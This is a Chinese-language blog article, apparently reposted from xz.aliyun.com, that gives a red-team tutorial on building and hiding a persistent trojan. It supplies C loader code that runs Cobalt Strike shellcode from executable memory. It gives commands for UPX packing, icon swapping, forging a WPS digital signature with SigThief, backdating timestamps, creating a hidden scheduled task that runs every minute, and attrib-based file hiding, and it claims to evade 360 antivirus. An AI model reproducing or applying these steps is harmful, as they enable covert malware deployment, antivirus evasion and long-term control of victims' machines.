红队视角下的隐匿木马文件 实现持久化控制
2023-11-4 20:28:27 Author: xz.aliyun.com(查看原文) 阅读量:31 收藏

前言

在红蓝对抗的过程中,远控木马起到了相当重要的作用,而面对蓝队技术人员的种种查杀,远控木马如何在目标机器上长久的存活下去

免杀马制作

cobalt strike生成shellcode.c

可以根据目标机器安装的杀毒软件制作有针对性的免杀马,当然,能够BypassAV是最好不过的了,为了节约时间成本,选择使用申请动态内存的方式加载shellcode生成免杀木马

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] = 
"shellcode";
main()
{
  char *Memory; 
  Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  memcpy(Memory, buf, sizeof(buf));
  ((void(*)())Memory)();
}

可以通过360的静态免杀,动态操作也没有任何报毒提示

文件加壳

这里生成的shellcode为64为的执行代码,使用upx进行加壳

项目地址

https://github.com/upx/upx

.\upx.exe C:\Users\33519\Desktop\shellcode.exe


文件加壳后属性对比

替换图标

使用BeCyIconGrabberPortable提取图标

项目地址
https://github.com/JarlPenguin/BeCyIconGrabberPortable
使用Resource hacker替换木马程序的图标

伪造签名

使用SigThief对木马程序进行数字签名伪造
项目地址
https://github.com/secretsquirrel/SigThief
使用wps的数字签名进行伪造

python .\sigthief.py -i wps.exe -t .\shellcode.exe -o shellcode2.exe

  • -i 自带签名的文件
  • -t 未加签名的文件
  • -o 输出文件
    shellcode2为伪造数字签名后的木马文件

伪造文件修改时间

蓝队技术人员通常会在时间顺序上排查攻击者上传的文件,我们上传的木马文件是最新的,所以使用ChTimeStamp伪造文件修改的时间
项目地址
https://github.com/MsF-NTDLL/ChTimeStamp

ChTimeStamp.exe C:\Users\canxue\Desktop\shellcode2.exe "C:\Program Files (x86)\360\360Safe\360bps.dat"


360bps.bat为安装360时创建的文件,时间为一月份
修改前后文件属性对比

通过everything筛查文件不会发现近期上传的木马文件

计划任务隐藏自启动木马程序

使用SchTask创建隐藏的自启动任务
项目地址
https://github.com/0x727/SchTask_0x727/tree/main

选择主机随机进程名作为计划任务程序文件名
将计划任务程序文件复制到 `%AppData%\Microsoft\Windows\Themes\` 中
创建的计划任务名取同一随机进程名
计划任务触发器以分钟为单位,无限期持续
更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件
SchTask.exe shellcode2.exe 1

设置每分钟执行一次计划任务,计划任务为执行shellcode2.exe程序

被隐藏的计划任务,在注册表中可以看到


一分钟后自动执行木马程序,cobalt strike可以正常接收到反弹的shell

可以正常上线,命令也可以正常执行

attrib +s +h +r

使用此命令深度隐藏木马文件,即使打开查看隐藏文件选项也无法显示文件


文章来源: https://xz.aliyun.com/t/12973
如有侵权请联系:admin#unsafe.sh